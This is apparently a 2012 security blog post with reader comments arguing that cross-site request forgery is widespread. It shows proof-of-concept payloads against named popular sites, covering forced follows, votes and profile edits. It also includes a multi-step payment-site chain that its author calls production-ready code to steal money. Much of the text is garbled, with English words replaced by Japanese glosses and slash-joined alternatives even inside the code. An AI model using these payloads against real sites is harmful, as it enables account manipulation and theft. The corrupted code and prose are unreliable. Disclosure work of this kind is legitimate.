発言/述べる: 地位,任命する is published on April 2(but was 推定する/予想するd yesterday) coz Berlin haz no 解放する/自由な wifi 原因(となる) I'm not joking and I 人物/姿/数字d out that Sunday is the worst day for 緊急の updates. 井戸/弁護士席, who cares the date, enjoy:
TL;DR:
I'm trying hard to 証明する my point that 声明 "CSRF is only the developers' problem" is not true. I 供給するd some examples and I want you to check them out. I really 高く評価する/(相場などが)上がる any viewpoint at this problem. Thank you for your attention in 前進する!
Quick overview:
badoo.com
showcase:
文書.令状('<form 活動/戦闘="http://badoo.com/ws/anketa-ws.phtml?ws=1" method=地位,任命する> <input 指名する="指名する" value="SUUUUP"><input 指名する="fname" value="SUUUUP"><input 指名する="sname" value="SUUUUP"><input 指名する="birth_day" value="28"><input 指名する="birth_month" value="01"><input 指名する="section" value="basic"><input 指名する="birth_year" value="1991"> </form>')
description:
e.g. changing your profile 詳細(に述べる)s. No 保護 at all.
github.com
showcase:
<iframe 指名する=ifr></iframe>
<script>
文書.令状('<form 的=ifr 指名する=pwn method=地位,任命する 活動/戦闘="https://github.com/使用者s/follow?的=homakov"></form>')
pwn.服従させる/提出する()
</script>
description:
makes you follow 確かな account without your 確定/確認. 報告(する)/憶測d few weeks ago and 直す/買収する,八百長をするd.
slideshare.逮捕する
showcase:
文書.令状('<form 指名する=h 活動/戦闘="http://lockerz.com/profile/follow/19880685" method=地位,任命する></form>'); h.服従させる/提出する()
description:
に引き続いて w/o 確定/確認
yfrog.com
showcase:
文書.令状('<form 活動/戦闘="http://yfrog.com/message/地位,任命する.json" 指名する=h method=地位,任命する><input 指名する="services[]" value="twitter"><input 指名する="message" value="@yfrog ur pwned"></form>'); 文書.h.服従させる/提出する();
description:
に引き続いて w/o 確定/確認
地位,任命するing w/o 確定/確認
井戸/弁護士席, just anything. 報告(する)/憶測d / 直す/買収する,八百長をするd.
kinopoisk.ru
showcase: http://www.kinopoisk.ru/投票(する).php?film=FILM_ID&film_vote=VOTE_FROM_1_TO_10
description: GET request in an image, for example, will 始める,決める highest 率ing for some trash-movie on に代わって of your account.
I lol'd when 設立する this vulnerability. Movies' ratings is the 核心 feature of kinopoisk(It is like ロシアの IMDB), 場所/位置 has enormous number of 訪問者s and now we realize that all ratings there 価値(がある) nothing :(
formspring.com
showcase: 文書.令状('<form 活動/戦闘="http://www.formspring.me/follow/追加する/WHO_TO_FOLLOW" method=地位,任命する><input 指名する=public value=1><input 指名する=ajax value=1></form>')
description: やめる 基準 穴を開ける - 平易な way to 伸び(る) thousands of 信奉者s :D
odesk.com
showcase:
mycb=機能(する)/行事(){console.スピードを出す/記録につける(arguments);}
文書.令状('<script src="https://www.odesk.com/api/hr/v1/flagging.json?flagged_item=使用者&flagged_item_id=1&func=getFlagList&group_id=1&callback=mycb"></script>');
description:
this vulnerability deserves separated 地位,任命する. In general: JSONP should be used very carefully. And, yeah, CSRF 攻撃を受けやすい. It's getting boring.
dailymotion.com
showcase: http://www.dailymotion.com/pageitem/使用者/subscribe?request=USERNAME&method=toggleSubscribe
description: subscribing 経由で GET..
vimeo.com
showcase: https://player.vimeo.com/like/ID?callback=cb&status=1
https://player.vimeo.com/watch_later/ID?callback=cb&status=1
description: 追加するing to watchlist, liking and other stuff..
about.me
showcase: 文書.令状('<form method=地位,任命する 指名する=h 活動/戦闘="http://about.me/ajax"><input 指名する="profile_text_content" value="YOBA ETO TY"><input 指名する=call value=save></form>')
description: Typical, CSRF 攻撃を受けやすい service. Should I continue? You can change any field in 使用者's profile :(
bitbucket.org
showcase: GET to https://bitbucket.org/USERNAME/follow
description: に引き続いて.
posterous.com
showcase: 文書.令状('<form 活動/戦闘="http://posterous.com/api/2/場所/位置s/1314005/subscribe" method=地位,任命する><input 指名する=_method value=put></form>')
http://homakov.posterous.com/likes/create?like_type=地位,任命する&post_id=10132110
description:
liking, subscribing.
hulu.com
showcase: 文書.令状('<form 活動/戦闘="http://www.hulu.com/ビデオs/投票(する)/344578" method=地位,任命する><input 指名する=up value=5><input 指名する=_ value=""></form>')
http://www.hulu.com/shows/subscribe/344578?type=episodes,clips&first_run_only=0
description:
投票(する)ing w/o 確定/確認(like kinopoisk example), subscribing to new episodes..
moneybookers.com
showcase(生産/産物-ready code to steal money):
文書.令状('<iframe width="100%" 高さ="100%" 指名する="h" src="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks"></iframe>')
文書.令状('<form 指名する=step1 的=h 活動/戦闘="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=地位,任命する><input 指名する=活動/戦闘 value=search><input 指名する=country value=RUS><input 指名する=swift value=PRTBRUMM><input type=服従させる/提出する></form>')
文書.令状('<form 指名する=step2 的=h 活動/戦闘="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=地位,任命する><input 指名する=活動/戦闘 value=追加する><input 指名する=country value=RUS><input 指名する=bank_id value=0><input 指名する=account_no value=123234123234><input type=服従させる/提出する></form>')
get_bank_id=機能(する)/行事(){
//it's mock, 模造の 手続き. Getting 最新の 最初の/主要な 重要な of just created bank account isn't difficult. But 伴う/関わるs some server 味方する interaction. I won't give out this code, sorry.
return 123234345; //最初の/主要な 重要な of fresh created bank account in 犠牲者's profile
}
how_much = 機能(する)/行事(time){
//we will repeat 身を引く request with lower 量 every time - so we could 身を引く as much as possible
return [5000, 3000, 1000, 500, 150, 100][time]
}
文書.令状('<form 指名する=step3 的=h 活動/戦闘="https://www.moneybookers.com/app/download.pl" method=地位,任命する><input 指名する=地位,任命するd value=確認する><input 指名する=目的地 value=BWI><input 指名する=bankwire_account value='+get_bank_id()+'><input 指名する=txtAmount value='+how_much(0)+'><input type=服従させる/提出する></form>')
//this form 含む/封じ込めるs my birthday. it's not difficult to find out anybody's birthday either.
文書.令状('<form 指名する=step4 的=h 活動/戦闘="https://www.moneybookers.com/app/download.pl" method=地位,任命する><input 指名する=地位,任命するd value=遂行する/発効させる><input 指名する=dob_day value=28><input 指名する=dob_month value=04><input 指名する=dob_year value=1993><input type=服従させる/提出する></form>')
setTimeout(機能(する)/行事(){
step1.服従させる/提出する()
},1000);
setTimeout(機能(する)/行事(){
step2.服従させる/提出する()
},2000);
setTimeout(機能(する)/行事(){
step3.服従させる/提出する();
},3000)
setTimeout(機能(する)/行事(){
step4.服従させる/提出する();
},4000)
description:
It's the best showcase IMO. This one is "生産/産物 ready" and I have tried it to 身を引く money on myself from my own account and it worked. 報告(する)/憶測d and 直す/買収する,八百長をするd. This example illustrates the whole point of the 地位,任命する. It's やめる boring to explain the same looking vulnerabilites - remember, if you can do 軍隊 people to follow without 確定/確認 you(most likely) can do the same with his money. Think about it.
直面する it.
井戸/弁護士席, these showcases are the tiny part of 攻撃を受けやすい POPULAR(I don't even について言及する middle and small websites. they're just doomed...) 場所/位置s at the moment.
I'm やめる exhausted to 調査する it - approx. 50-70% of what I try have 穴を開けるs/bugs and I'm talking about Alexa 最高の,を越す 場所/位置s(lol!). And it would be unbelievebly 抱擁する 地位,任命する if I 含む them all. bit more:
pinterest.com, GET let's u wipe bio and website info
dnsimple.com, you can 追加する services to 使用者's domain 経由で GET
disqus.com(let's me comment any 地位,任命する on に代わって of your account; やめる 利益/興味ing 切り開く/タクシー/不正アクセス here, subtle trick-穴を開ける with Webkit engine, stay tuned!),
translate.ru(平易な to steal cookies and account; it's bad idea to 負担 3rd parties JS in iframe with your 文書.domain. probably will publish more (警察などへの)密告,告訴(状) on iframe's domain sameOriginPolicy later, must-read topic),
heroku.com(井戸/弁護士席, 行政 can be done 経由で GET - smth like this: <img src=xxx/update?site_name[指名する]=yyy> will 改名する your xxx.herokuapp.com to yyy.herokuapp.com)
調書をとる/予約するing.com(攻撃を受けやすい. I had an idea to 追加する Saransk city to your "Favorite places" but changed my mind. It would be funny though.)
etc I forgot few.
Also, most of showcases here are not 批判的な for only one 推論する/理由 - 刑務所,拘置所 is not cozy for living, in my opinion. In fact, and that's obvious, if you find 確かな type of vulnerability you can use it both ways e.g. 始める,決める up 3012 as date of 地位,任命する OR 追加する your public 重要な to 犠牲者's repo, you know what I'm talking about. Check your codebase.
Guys from HN disappoint me with their 保守主義. It's やめる 平易な to repeat "It 作品 罰金, Google and Mozilla have best programmers, 井戸/弁護士席 known attack, popular 場所/位置s are 保護するd(ORLY?!), go home kid".
That was an 推定する/予想するd 行為, so I hope, this 地位,任命する makes them to 直面する facts. 2+2=4 and CSRF = the 抱擁する, wide-spreaded problem that should be solved now or never.
井戸/弁護士席, no 事柄 who's vulnerability it is. I don't care anymore: Browsers, apps, programmers, 基準s. There is 1 fact - lots of 場所/位置s in the Internet are 攻撃を受けやすい(in 2012, after 11 years). That's all I want to explain and discuss with you.
I made the point - you 直す/買収する,八百長をする in up-to-you way. 直す/買収する,八百長をする. But, 率直に, making small 警告-妨げる/法廷,弁護士業 in browsers seems more sane than teaching every 選び出す/独身 programmer from newbie to 上級の CSRF 保護 and 汚染するing every HTTP POST request with 記念品.
Every 場所/位置 I walk into has 多重の 批判的な vulnerabilities. Most of them introduced by "programmers" with Masters Degrees in CS. Funny.
Reply削除するHey Egor,
Reply削除するWhat's with your point with that Bitbucket URL?
That's just how you (un)follow someone. If you don't like to follow people, then don't use it, but don't label it as a 安全 bug, ok?
@Erik, I think you didn't get the point of the 地位,任命する.
Reply削除する井戸/弁護士席, i dont know if you're joking but we're talking about a CSRF vulnerability here, which means you can make people "follow or unfollow you, or anybody for that 事柄 without their 是認 ex : img tag with follow url as src.
Reply削除するso 明白に thats not how its supposed to work.
@匿名の/不明の: you didn't get the point, did you? He can get 信奉者s on bitbucket just by 含むing an iframe on his 場所/位置. So, suddenly, you're に引き続いて him on bitbucket even though you didn't want to.
Reply削除する@homokov, you're doing 広大な/多数の/重要な work. I hope you continue to put on the 圧力 to get developers to raise their 基準s.
Reply削除する^ What he said.
Reply削除するThank you for loudly 論証するing how broken things are. They'll never get 直す/買収する,八百長をするd if nobody draws attention to them...
Reply削除する@匿名の/不明の I did indeed 最初 行方不明になる the 状況 from that ultra short paragraph.
Reply削除するI've (軍隊を)展開する,配備するd a hotfix.
Hey Egor, would you take a look at a few 場所/位置s using the 解除する web 枠組み (http://liftweb.逮捕する)? It should be more 安全な・保証する by default than Rails and PHP, but I'm curious if you can 侵入する it. Some of the poster child 解除する 場所/位置s:
Reply削除するhttps://foursquare.com/
http://stackmob.com/
http://www.grabgrip.com/
http://openstudy.com/
A primer on 解除する 安全:
http://seventhings.liftweb.逮捕する/安全
@anon
Reply削除するI would check the 場所/位置s with a 楽しみ! But I'm kinda busy and work for money - This 地位,任命する is 十分である for making point, I guess.
So I'm 完全に not 利益/興味d in CSRF and 集まり assignment vulnerabilities anymore. Points were made, what to do is up to you
yes, and while we was reading this he just tried bunch of that stuff on our browser :) i hope i will not find u as a "followed person" in any 場所/位置s im using.
Reply削除するgood luck standing your point
Anthony from DNSimple here. Thanks, Egor for pointing out the vulnerability you 設立する in DN Simple. I've 押し進めるd a 直す/買収する,八百長をする for it this morning. If you (or someone else reading this blog) finds other vulnerabilities please let me know 経由で 安全@dnsimple.com.
Reply削除するHi, Egor!
Reply削除するGood 職業 done! Hope you suceed in changing 'their' mind. I have my own theory why it is possible and it goes far away from 科学(工学)技術 area into 商売/仕事 and education field. I 指名する it 'featurism': evryone needs more features in ソフトウェア. 顧客s 支払う/賃金 only for new features. 鮮明度/定義 of done consist of 器具/実施するd bu siness logic only. Developers don't have time to bother with 安全 問題/発行するs as they are not paid for. To earn money for living, most developers should be good at producing features quickly: today 'time to market' 速度(を上げる) seems to be the only 手段 of success. I can continue, but have to go now.
If you are in Europe, I would like to 招待する you to Estonia to make a 手渡すs-on workshop for my students.
@Anthony Eden
Reply削除するWow, 冷静な/正味の! I enjoy dnsimple and that's pretty minor bug. I don't e ven think that you're in 告発(する),告訴(する)/料金 (do u use rails though?) 元気づけるs
@Zahhar Kirillov
Hi friend! Thank you and I 株 your opinion that developers dislike 安全 because they are not paid for that. And I hope to see you soon :) 移転 is soon
Really 利益/興味ing ! Thanks for examples :)
Reply削除する